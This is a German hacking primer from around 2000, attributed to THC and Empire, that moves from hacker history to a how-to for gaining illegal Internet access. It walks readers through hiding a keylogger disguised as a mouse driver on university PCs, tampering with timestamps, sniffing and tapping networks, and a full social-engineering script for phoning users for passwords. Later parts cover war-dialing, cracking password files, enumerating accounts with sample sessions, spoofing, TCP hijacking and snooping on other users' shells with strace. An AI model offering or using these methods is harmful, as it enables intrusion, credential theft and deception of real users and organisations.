Author: TICK / THC
revised by DocX / Empire
Last Update: 2000/08/15
Email: docx@pesthoernchen.org

Voraussetzungen
Was ist der Unterschied zwischen Hackern und Crackern?
Wo fing alles an?
Die Sitiation heute: Ein Netzwerk im Kriegszustand
Ein paar Hacker
Und nun gehts los, oder wie bekomme ich (illegalen) Zugang
zum Internet?
Die Literatur:
Wie komme ich weiter?
Wie rette ich meinen Arsch?
Yeah, time to become 31337.Auch wenn es fuer einen Anfaenger hart ist aber ich werde gewisse Dinge
wie NIS, PasswordCracker, PacketSniffer, et cetera nicht erklaeren; ich
setze sie als bekannt voraus. Wenn du mit diesen Dingen arbeitest wirst
du sie verstehen, und in den Buechern/Docs werden sie haeufig auch erklaert.
Ich werde einige Programme, die ich in diesem Docu. erwaehne, in dieses
Paket packen.
Zeilen, die mit dem Groesser-als Zeichen '>' beginnen sind Eingaben
(von dir).
Zeilen, die mit dem Kleiner-als Zeichen '<' beginnen, stellen Ausgaben
(z.B. von einem Programm) dar.
Befehle werden fett gedruckt und Captures mit Rot
indiziert.
Bitte sendet alle Verbesserungen/Erweiterungen an meine E-mail Adresse.
Wenn ich die Begriffe Hacker und Cracker definieren muesste, wuerde mein Fazit wie folgt lauten:
Ein Hacker ist eine Person, die sich fuer die geheimnisvollen und verborgenen Arbeitsweisen eines jeglichen Betriebsystems intressiert. Hacker sind meistens Programmierer. Als solche erhalten Hacker einen fortgeschrittenes Wissen ueber Betriebsysteme und Programmiersprachen. Sie koennen Sicherheitsloecher in Systemen und die Gruende dafuer entdecken. Hacker sind staendig auf der Suche nach weiterem Wissen, teilen freimuetig ihre Entdeckungen mit und werden nie und nimmer absichtlich Daten zerstoeren.
Ein Cracker ist jemand, der boeswillig in die Systeme eines entfernten Rechners einbricht bzw. dem Systemablauf auf irgend eine Weise schaedigt. Nachdem Cracker einen unautosierten Zugang erhalten haben, zertsoeren sie wichtige Daten fuer legitime Benutzer oder verursachen grundsaetzliche Probleme im Arbeitsablauf des angegriffenen Rechners. Cracker koennen sehr leicht identifiziert werden: ihre Absichten sind boeswillig.
Diese beiden Definitionen sind meines erachtens zutreffend. In der Praxis sind solch strenge Definitionen aber leider unbrauchbar.
Telefon-Phreaker benutzten verschiedene Tricks, um diese Aufgabe zu bewerkstellingen. Fruehe Methoden beinhalten den Gebrauch von ratshack dialers oder red boxes (Ratshack war eine Bezeichnung fuer den populaeren Elektronikhaendler Radio Shack). Diese Boxen sind kleine elektronische Geraete, die degitale Klaenge oder Toene uebertragen. Phreaker veraenderten diese tragbaren Tonwahlgeraete, indem sie die eingebauten Kristalle durch die Radio-Shack-Komponente #43-146 ersetzten.
Mit dieser Aenderung konnten Phreaker den Klang simulieren, der beim Einwerfen einer Viertel-Doller-Muenze in oeffentliches Telefon entsteht. Die uebrigen Schritte waren sehr einfach. Die Phreaker gingen zu einem oeffentlichen telefon und waehlten eine Nummer. Das Telefon forderte dann einen Betrag fuer den Anruf. Als Antwort setze der Phreaker die red box ein, um das Einwerfen von Geld zu simulieren. das Resultat war ein kostenloser Anruf. In dem Spielfilm "Hackers" wird ein aehnliches Beispiel dargestellt, in dem statt der red box ein Microrecorder mit dem aufgezeichneten Klang benutzt wird.
Nieman kann genau sagen, wann es war, das sich ein Phreaker zum erstenmal in das Internet einloggte. Auf jeden Fall ist man sich sicher das es zufaellig geschah. Vor Jahren war das Point-to-Point-Protokoll (PPP) noch nicht verfuegbar. Daher ist diese Methode, mittels der ein Phreaker das Internet fand, nicht klar. Wahrscheinlich passierte es, nachdem sich einer von ihnen ueber eien Direktwahl-Verbindung in einen Grossrechner oder eine Workstation irgendwo enloggte. Dieser Rechner war moeglicherweise ueber Ethernet, ein zeites nModem oder einen Port an das Internet angebunden. Daher fungierte der attackierte Rechner als Bruecke zwischen dem Phreaker und dem Internet. Nachdem der Phreaker diese Bruecke ueberquert hatte, fand er sich in einer Welt voller Computer, von denen die meisten oder keine Sicherheitsvorkehrungen hatte, Stell dir das einmal vor: ein unerforschtes Grenzgebiet!
Der Rest ist Geschichte. Seitdem haben Cracker ihren Weg in jede vorstellbare Art von Systemen gefunden. Waehrend der 80er Jahre begannen einige talentierte Programmierer ihr Dasein als Cracker. Es war zu dieser Zeit, dass die Unterscheidung zwischen Hackern und Crackern erstmals durcheinandergebracht wurde, und das hat sich bis heute nicht geaendert. Ende der 80er Jahre wurden diese Individuen intressant fuer die Medien, die allem die Sicherheitssysteme durchbrachen, als Hacker bezeichnet.
Und dann passierte etwas, das die amerikanische Computer-Gemeinde fuer immer auf diese Hacker fokussieren sollte. Am 2. November 1988 liess jemand einen Computer-Wurm im Internet los. Dieser Wurm war ein sich selbst reproduzierendes Programm, das verwundbare Rechner suchte und sie infizierte. Nachdem er einen Rechner infiziert hatte, suchte sich der Wurm weiter Ziele. Dieser Prozess setzte sich fort, bis Tausende von Rechnern betroffen waren. Innerhalb von Stunden stand sas Internet unter schwerer Belagerung. Ein unwarscheinlich er Kandidat kam unter Verdacht: ein junger Infomatikstudent der Cornell University. Unwahrscheinlich aus zwei Gruenden: Erstens war er ein guter Student ohne jeglichen Hintergrund, der ein derartiges Verhalten rechtfertigen wuerde. Zweitens - noch wichtiger - war der Vater des junges Mannes als Ingenieur bei den Bell Labs beschaeftigt und hatte als solcher erheblichen Einfluss auf das Design des Internets. (Ironischerweise arbeitete der vater des jungen Mannes spaeter bei der National Security Agency.) Nichtdestrotrotz war der junge Mann Robert Morris jr. tatsaechlich der Taeter. Angeblich dachte Morris, dass sein Programm sich wesentlich langsamer verbreiten und ohne Auswirkungen bleiben wuerde. Morris wurde vom Gerichtb zu drei Jahren auf Bewaehrung und einer Geldstrafe verurteilt.
Der Morris-Wurm aenderte vielerseits die Einstellungen zum Thema Sicherheit im Internet. Ein einziges Programm hatte praktisch Hunderte (vielleicht sogar Tausende) von Rechnern lahmgelegt. Dieser Tag makierte die Anfaenge ernstzunehmender Sicherheitsbedenken fuer das Internet. Ausserdem trug dieses Ereignis dazu bei, das Schicksal der Hacker zu besiegeln. Seit diesem Zeitpunkt mussten legitime Programmierer den Titel Hacker rigoros verteidigen. Die Medien haben es zum groessten Teil unterlassen, das Missverstaendniss zu korriegieren, das noch heute von der nationalen Presse unterstuetzt wird, indem sie Cracker als Hacker bezeichnet.
Ist das ueberheupt wichtig? Nicht wirklich. Viele Leute werfen den wahren Hackern Haarspalterei vor und meinen, dass ihre starren Unterscheidungen fuer die Oeffentlichkeit zu komplex und zu unpassend sind. Vielleicht ist dies teilweise richtig - es ist viele Jahre her, seitdem die Bezeichnunger zuerst faelschlicherweise vertauscht wurden. Zum gegenwaertigen Zeitpunkt ist es eine Frage des Prinzips.
Die heutige Situation unterscheidet sich radikal von der vor 10 Jahren. In diesem Zeitraum haben sich zwei Gruppen herauskristallisiert und sich als Gegner etabliert. Das Netzwerk ist heute im Kriegszustand und diese zwei Gruppen sind die Soldate. Cracker kaempfen mit harten Bandagen um Anerkennung und realisieren dies mit spektakulaeren technischen Meisterstuecken. Es vergeht kaum ein Monat ohne einen Zeitungsartikel, der ueber das Knacken irgendeiner WebSite berichtet. Juengst wurde erst die WebSite der Strato AG eines dieser Opfer. Hacker arbeiten fieberhaft an der Entwicklung neuer Sicherheitsmethoden, um die Cracker-Horden fernzuhalten. Dazu soll dieser Bericht einen Beitrag leisten. Wer nun endgueltig die Oberhand gewinnt, ist noch zu frueh zu sagen. Die Cracker koennten jedoch schnell Boden verlieren, da das Big Business im Internet eingezogen ist, und somit die ANchfrage nach propietaeren Sicherheitstolls drastisch angestiegen ist. Der Zufluss von Geld aus der Wirtschaft wird die Qualitaet solcher Tools unweigerlich verbessern. Cracker werden somit im Laufe der Zeit immer grosseren Aufgaben entgegen stehen.
Richard Stallman
Stallmann begann 1971 im Labor fuer Kuenstliche Intelligenz am MIT. Er erheilt den 250K McArthur Genius
Award fuer die Entwicklung von Software. Er gruendete schlichlich die Free Software Foundation und etwickelte
Hunderte von kostenlosen Utilities und Programmen fuer UNIX.
Dennis Ritchie, Ken Thompson und Brian Kernighan
Ritchie, Thompsen und Kerninghan sind Programmierer bei den Bell Labs und waren an der Entwicklung
sowohl von UNIX als auch von C beteiligt. Wenn es diese drei MAenner nicht gaebe, gaebe es wohl auch kein
Internet /oder wenn es eines gaebe, waere es sicher wesentlich weniger funktionell). Sie hacken heute noch.
Paul Baran, Rand Corporation
Baran ist wahrscheinlich der bedeutensde Hacker von allen, aus einen gar bestimmten Grund.: Er hackte
das Internet, bevor das Internet ueberhaupt exestierte. Er entwickelte das Konzept, und seine Bemuehungen
stellten ein grobes Navigationstool zur Verfuegung, das die inspirierte, die ihm folgen sollten.
Linus Trovalds
Torvalds belegte anfangs der 90er Jahre einige Kurse ueber UNIX und die Programmiersprache C. Ein Jahr
spaeter begann er mit der Programmierung eines UNIX-aehnlichen Betriebssystem. Innerhalb einen Jahres gab
er dieses System im Internet frei. Es hies Linux. Linux hat heute Kult-Status und gilt als das Betriebssystem,
das von freiberuflichen Programmierern aus der ganzen Welt entwickelt wurde, von denen sich viele niemals
begegnen weren. Linux unterliegt der GNU General Public License und ist damit fuer jedermann frei erhaeltlich
und benutzbar.
Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access)
in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder
einen Nebenjob.
Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern aufhalten,
die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden
und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC
rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh dir
seinen Aufbau an (autoexec.bat & config.sys...) und beobachte wie er
benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet). Lass dich
mal ganz plump von 'nem Studenten in die Benutzung des Rechners einfuehren.
Dann benutze diesen Rechner fuer anonymous FTP, HTTP und den ganzen Kram,
der kein Passwort erfordert, und wenn sich die Gelegenheit mal bietet,
dann kopiere dir die "autoexec.bat", "config.sys" und den Stammverzeichnisbaum
(tree) auf 'ne Diskette.
So jetzt zum spannenden Teil. Es geht darum ein TSR-Programm zu installieren,
welches die Tastatureingaben in eine Datei protokolliert . Um dieses TSR-Prog.
so gut wie moeglich zu verstecken tarnt man es als ein anderes Prog. und
fuegt einen entsprechenden Eintrag in die autoexec.bat ein. Man kann z.B.
den Mouse-Treiber mit einer Batch-Datei ersetzen, die erst unser TSR und
dann den Mouse-Treiber aufruft o. ae.. Man kann natuerlich auch das TSR
vor mem verstecken (ich glaube man veraendert irgendwie 'ne Memorygrenze
- keine Ahnung).
Evtl. muss man das TSR mit einem HEX-Editor seinen Anforderungen anpassen.
Es sollte auch darauf geachtet werden, dass die Protokolldatei den ganzen
Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette bringen
und von der Platte entfernen. Desweiteren muessen die Timestamps angepasst
werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine
Batch-Datei fuer die Installation des TSRs, fuer das move'n der
Protokolldatei und zum Deinstallieren des TSRs und zur Wiederherstellung
des Orginalzustandes (Timestamps nicht vergessen). Teste deine Startegie
und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine
Fehler mehr geben, alles muss schnell und reibungslos verlaufen.
Interpretation der Protokolldatei:
Wenn du z.B. folgendes siehst
ftp blah.am.arsch.de
franz
schwanz
... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit
dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die
Eingaben richtig waren :).
Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.
Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen
Trojan-Horses einbringen oder ganz
simpel den Leuten ueber die Schulter sehen, wenn sie sich in die Rechner
einloggen.
Die "Experten" unter euch koennen einen Vampire-Tap oder einen
Laptop mit Sniffer in deren Netz einbringen und so
einfach die Account-Informationen aufzeichnen.
Der Vorteil des Vampire-Taps ist, dass es nicht durch Messgeraete
entdeckt werden kann, die die Entfernung bis
zum naechsten Ende/Bruch im Netzkabel messen.
Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine bessere Loesung ist da schon eine veraenderte WINSOCK.DLL zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.
Natuerlich kannst du auch einen auf DOS basierenden Sniffer installieren.
Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer
des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich
als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen.
Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ)
oder auf deren Web-Site.
Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen
kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal
auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das
selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es
wird NIS (oder NIS+, rdist, DCE, etc) benutzt
So, wenn du in dem System bist, dann mache dich damit vertraut (in
Uni-Systemen faellt man nicht so schnell auf).
Von der Uni aus, kannst du dann am Besten noch Domains hacken, die
in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern
- auch wenn die gehackte Uni im City-Tarif Bereich ist. Je mehr Einwahlpunkte
du zum Internet hast um so besser.
Du kannst deine Telefongebueren auch sparen, indem du 'ne PBX hackst
(im 0130/0800- Bereich oder von lokalen Firmen) oder durch BlueBoxing -
ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom gerne
BlueBoxer kennen lernen will und PBXs meistens gute Intrusion Detection
Systems besitzen. ;)
Bei Firmen ist es meistens etwas gefaehrlicher.
Die einfachste Methode ist natuerlich, wenn dir ein bekannter Hacker einen Account gibt.
Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die
Passwortdatei auf deinen Rechner und cracke die Passwoerter.
Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter.
;)
Und nun noch ein old-school Weg. Er erfordert weniger den technischen
sondern mehr den physischen und mentalen Aufwand.
Such' dir ein/e Institut/Firma mit Internetanschluss in deiner Stadt
aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal
wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und
der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung
zu bringen kannst du den Muell der Firma durchsuchen (sog. "Dumpster Diving")
oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer herausfinden:
Entweder einfach anrufen und als User (wenn du den Namen eines Kunden
hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben
oder den Telefonnummernbereich deines Ziels durchscannen.
Das Scannen geht wie folgt:
Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese
Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen einen bestimmten
Nummernbereich, z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch
sind (z.B. 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0
meistens die Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr.
von 911-0 bis 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter
entdeckst, dann versuche ihn zu hacken (weitere Infos).
Du kannst den zuscannenden Bereich einschraenken indem du dir die Durchwahlnummer
des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer
die Rechnerverwaltung heisst - geben laesst und dann von dort startest
(Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an). So jetzt Accounts
besorgen.
Rufe einen User an - dabei solltest du folgendes beachten:
MA: Guten Abend, hier ist Mark Abene, ich bin der Computer-Administrator von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen? KM: Ja, am Apparat. MA: Oh gut, undzwar folgendes, wir hatten auf unseren Internet-Server einen Headcrash, uns sind einige Daten verloren gegangen, darunter auch die Userdaten... KM: Oh Gott, wie schrecklich. MA: ... ja, ja, und ich hab' die ehrenvolle Aufgabe die Daten von unseren Backupbaendern zu restaurieren und die User-Datenbank wieder neu einzurichten. KM: Aha... MA: Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen. KM: Oh ja, natuerlich. MA: Ok,... und wie lautete ihr Passwort? KM: Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien angefertigt? MA: Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider selten. Aufgrund unser hohen Sicherheitsansprueche wird von der User- Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass die Backupbaender gestohlen werden. KM: Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak". MA: Ok, ... dankesehr. Aufwiederhoeren. KM: Tschuess.So, viel geredet fuer nur ein einziges Wort, aber es hat sich gelohnt. Du musst jederzeit ernst und ruhig klingen. Dieses Gerede ist sog. "Social Engeneering".
|
|
|
|
|
| Gerhard Willms | Das C-Grundlagen Buch | Data Becker | Das Fundament der C-Programmierung |
| Nemeth, Snyder, Seebass, Hein | Unix Systemadministration
Handbook |
Prentice Hall | Meiner Meinung nach das beste Buch fuer Unix-
Systemadministration (eine dt. Auflage ist auch erhaeltlich) |
| W. Richard Stevens | Programmierung in der Unix-Umgebung | Addison-Wesley | Mal wieder ein perfektes Werk.
Stevens schreibt die besten Buecher fuer Unix/Internet Programmierung |
| W. Richard Stevens | Programmieren von Unix-Netzen | Prentice Hall / Hanser | 2te Auflage |
| W. Richard Stevens | TCP/IP Illustrated Vol. 1/2/3 | Addison-Wesley | Infos ueber das TCP/IP Protokol und dessen Implementierung
sehr wichtig |
| Garfinkel und Spafford | Practical Unix & Internet Security | O'Reilley | Das beste Buch in Sachen Unix- & Internet-
Sicherheit |
| Chapman und Zwicky | Einrichten von Internet-
Firewalls |
O'Reilley | beschreibt den Aufbau von Firewalls
leider nicht uptodate aber trotzdem sehr gut |
| Cheswick und Bellovin | Firewalls und Sicherheit im Internet | Addison-Wesley | Ebenfalls Firewalls-
aufbau, aber etwas theoretischer und zeigt uebersichtlich moegliche Schwaechen auf. |
| Bruce Schneier | Angewandte Kryptographie | Addison-Wesley | Bruce Schneier hat bei dem Buch ganze Arbeit geleistet. Es ist sehr gut zu lesen und enthaelt viele Informationen |
| Electronic Frontier Foundation | Cracking DES | Electronic Frontier Foundation |
Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu
lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern
- sie ersetzen aber nicht ein gutes Buch.
Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder
bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.
| Adresse | Subject | Body |
|---|---|---|
| best-of-security-request@suburbia.net | subscribe best-of-security | |
| listserv@netspace.org | subscribe bugtraq | |
| majordomo@lists.gnac.net | subscribe firewalls | |
| fwall-users-request@tis.com (???) | subscribe fwall-users | |
| majordomo@nsmx.rutgers.edu | subscribe www-security |
Ok, gehen wir mal davon aus, dass du 'root'-Rechte hast.
Eine Moeglichkeit um weitere Netze zu hacken besteht darin nach Dateien
wie ".rhosts", ".netrc" oder/und ".forward" zu suchen; oder E-Mail nach
Passworten (oder anderen interessanten Kram) zu durchforsten. Um dir die
Arbeit ueber 20.000 User zu checken (und beim Gebrauch von NFS noch zusaetzlich
die UID zu wechseln) abzunehmen hab ich ein kleines Tool geschrieben...
die erste Version von Searcher half mir bei meinen ersten Internet-Hacks.
Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest
du gucken von welchen Hosts sie sich einloggen, dazu kannst du last,
w
oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen
in die sie sich einloggen, herausfinfen kannst du das z.B. mit ps
(mit
w-Option), netstat, ... oder du benutzt die Mail-Aliases bzw. ".forward"
um zu sehen wohin ein User seine E-Mail umleitet.
Jetzt solltest du noch herausfinden welchen Usernamen er auf dem Remote
Host benutzt (im ".forward" File ist es schon angegeben; z.B. ´remote-user@other-site.com´),
dazu kannst du SMTP verwenden... Bsp.: User "victim" (Realnamen:
Hackers Victim) hat sich mit telnet auf dem Rechner "host.account.edu"
eingeloggt.
> telnet host.account.edu 25 < Trying 123.10.0.1... < Connected to host.account.edu. < Escape character is '^]'. < 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997 < 16:19:56 +0200 < 220 ESMTP spoken here > vrfy victim < 550 victim... User unknown > vrfy hvictim < 250 Hackers Victim <hvictim@host.account.edu> > quit < 221 host.account.edu closing connection < Connection closed by foreign host.Der User verwendet also auf beiden Hosts nicht den selben Usernamen, da das Kommando "vrfy victim" von Sendmail (weitverbreitetes E-Mail-Verteilungs Programm, das an Port 25 haengt) mit "550 victim... User unknown" beantwortet wird.
Du kannst auch noch finger (wird aber aus Sicherheitsgruenden haeufig nicht angeboten) oder aber rusers benutzen um alle eingeloggten User auf "host.account.edu" zu erfragen.
Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt ist, dann rufe das Programm netstat (dient unter anderem zum Debuggen von Netzwerkproblemen) auf.
> netstat < Active Internet connections < Proto Recv-Q Send-Q Local Address Foreign Address (State) < User < victim < tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED < root < udp 0 0 localhost:3043 *:* < Active UNIX domain sockets < Proto RefCnt Flags Type State Path < unix 1 [ ACC ] SOCK_STREAM LISTENING /tmp/gpmctl < unix 2 [ ] SOCK_STREAM CONNECTED /dev/log < unix 2 [ ] SOCK_STREAM CONNECTED < unix 2 [ ACC ] SOCK_STREAM LISTENING /dev/printer < unix 2 [ ] SOCK_STREAM CONNECTED /dev/log < unix 2 [ ] SOCK_STREAM CONNECTED < unix 1 [ ACC ] SOCK_STREAM LISTENING /dev/logSo, die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse ist nur...
< Active Internet connections < Proto Recv-Q Send-Q Local Address Foreign Address (State) < User < victim < tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED... hier kannst du sehen, dass der User "victim" eine Verbindung vom Port 1032 des localen Hosts zum Telnet-Port (23, siehe File "/etc/services") von "host.account.edu" (der Hostname wird bei Ueberlaenge abgeschnitten; du kannst dir auch die IP-Adresse anzeigen lassen) aufgebaut hat. Jetzt weist du genug um ein kleines "Authentifikationsprogram" (>identd<) fuer deine Zwecke zu verwenden. Kurz was zur eigentlichen Verwendung von
| identd: | identd wird von V8 Sendmail dazu benutzt um gefaelschte E-Mails zu entschaerfen, indem sendmail identd befragt welcher User gerade eine Verbindung zu ihm aufgebaut hat. (Das Format fuer identd: Server/Remote-Port, Client/Local-Port) |
> telnet host.account.edu 113 < Trying 127.0.0.1... < Connected to host.account.edu. < Escape character is '^]'. > 23, 1032 < 23 , 1032 : USERID : UNIX : hvictim > Connection closed by foreign host.Jupp, da is' es "hvictim".
Ja, falls der Typ rlogin oder rsh benutzt, dann sieh' dir mal die Prozess-Liste an, ps auw | grep victim fuer BSD Derivate und ps -ef | grep victim fuer SysV (AT&T) Unix. Von Interesse fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen auf dem Remote Host an (das selbe gilt auch fuer SecureShell - ssh).
Wenn du den Source Code von telnet bzw. telnetd fuer das OS des lokalen Rechners hast, dann kannst du den Code so veraendern, dass die Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet werden.
Die effektivste und auch einfachste Methode ist einen Ethernet-Sniffer
zu installieren. Der Sniffer setzt die Netzkarte in den Promiscuous
Mode und kann so alle Pakete, die uebers LAN gehen aufzeichnen. Sieh'
dir mal den Code und die Docu.s von 'nem Sniffer an.
Das Sniffen funktioniert nicht bei ATM- und bei 10BaseT/100BaseT-Netzen
(mit intelligenten Hubs)... und bei FDDI- und Tokenring-Netzen
geht's nur teilweise.
Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe
wie (Blind-) IP Spoofing, TCP Hijacking... sind etwas komplizierter
und ich werde sie hier nur kurz erleutern.
| Methode | Beschreibung |
|---|---|
| Blind IP-Spoofing | Hierbei benutzt man eine falsche IP Source Adresse und versucht eine
TCP Verbindung aufzubauen.
Es wird der 'Trusted Host' Mechanismus der BSD ´r´-Dienste (meistens rlogind) ausgenutzt, dieser 'Sicherheits'-Mechanismus erlaubt Zugriff anhand der IP Source Adresse (es wird kein Passwort benoetigt - sollte das Sniffen von Passwoertern verhindern). Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP Sequencenr. richtig zu "raten" (da man die IP Src. gefaelscht hat bekommt man die TCP Seq# des Remote Hosts nicht zu Gesicht; es sei denn man benutzt die IP Src. Adresse eines Hosts, der sich im selben Subnet befindet). Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random erstellen. |
| Non-Blind IP-Spoofing | Der Vorteil dieser Attacke ist, dass man im Gegensatz zu 'blinden'
Version die TCP Seq# und die Daten "sieht". Ein wieterer Vorteil ist, dass
mehrere
Methoden existieren.
Diese Methode is sehr einfach zu realisieren, es werden einfach alle Router, die das Packet passieren soll im IP Header als zusaetzliche Option angegeben... Tja, aber das Dumme ist, dass der rlogind ueberprueft ob zusaetzliche Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das Packet irgnoriert und eine Logmessage an syslogd uebergeben (jedenfalls wird es in der BSD Version gemacht und ich denke SysV macht es auch). Ok, auf 'nem normalen Ethernet kannst du alle Packete sehen indem du deine Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer) Es kann (generell) wie zuvor verfahren werden. ist sehr einfach und kompfortabel... Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst. Ist leider nur fuer LANs geeignet. Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist auf der du 'root'-Rechte besitzt und die Route per default ueber 'deinen' Router laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com, Ascend, Livingston PM oder sonstwas und du must die Route erst ueber ´deinen´ Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein' Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP Redirect Messages) |
| TCP Hijacking | Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen
.
Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing: man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq# mitzulesen. Wenn man die Verbindung uebernommen hat koennen z.B. Shell-Commands in den Datenstrom eingefuehgt werden, die dann auf dem Remote Host ausgefuehrt werden. |
Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host, dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts antworten kann (hierzu benutzt man eine DoS (Denial-of-Service) Attacke), denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will das schon?
Drei 'Sniffer'-Methoden erlauben es sogar verschluesselte Verbindungen (z.B. mit SSH) im Klartext aufzuzeichnen (bzw. Daten einzugeben). Als erstes waere da das TTY-Hijacking zu nennen, dann das Process (bzw. Systemcall) Tracing und zu guter letzt die Man-in-the-Middle (MIM) Attack. Die ersten beiden Verfahren setzen den 'root'-Zugriff auf einem der Endsysteme voraus.
Beim TTY-Hijacking gibt es die verschiedensten Arten.
Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines Users (oder natuerlich auch eine bereits bestehende Verbindung mit telnet, rlogin, ssh...). Dazu benutzen wir ps.
> ps < PID TTY STAT TIME COMMAND < 69 v04 SW 0:00 (agetty) < 70 v05 SW 0:00 (agetty) < 257 v06 SW 0:00 (agetty) < 599 v02 S 0:00 -bash < 707 v03 S 0:00 -bash < 744 v02 R 0:00 psSo, wir nehmen uns mal die BASH mit der PID 707 vor. Wir rufen strace mit der Option '-f' auf um auch die Child-Prozesse der BASH, wie z.B. telnet, zutracen. Eine grosse Menge der Ausgaben von strace habe ich herausgeschnitten um die Lesbarkeit zu verbessern.
> strace -f -p 707 < Process 707 attached - interrupt to quit < read(0, "t", 1) = 1 < write(2, "t", 1) = 1 < read(0, "e", 1) = 1 < write(2, "e", 1) = 1 < read(0, "l", 1) = 1 < write(2, "l", 1) = 1 < read(0, "n", 1) = 1 < write(2, "n", 1) = 1 < read(0, "e", 1) = 1 < write(2, "e", 1) = 1 < read(0, "t", 1) = 1 < write(2, "t", 1) = 1 < read(0, " ", 1) = 1 < write(2, " ", 1) = 1 < read(0, "d", 1) = 1 < write(2, "d", 1) = 1 < read(0, "o", 1) = 1 < write(2, "o", 1) = 1 < read(0, "o", 1) = 1 < write(2, "o", 1) = 1 < read(0, "\r", 1) = 1 < write(2, "\n", 1) = 1Hier koennen wir sehen wie der User telnet doo aufruft. Mit ´read(..)´ werden die Usereingaben gelesen und mit ´write(..)´ zum Terminal des Users geschrieben. [eine Menge - fuer uns - unwichtiger Kram wurde verworfen]
< [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10", [pid 772]:
Hier sehen wir nochmal genauer welcher Child-Prozess aufgerufen wurde.
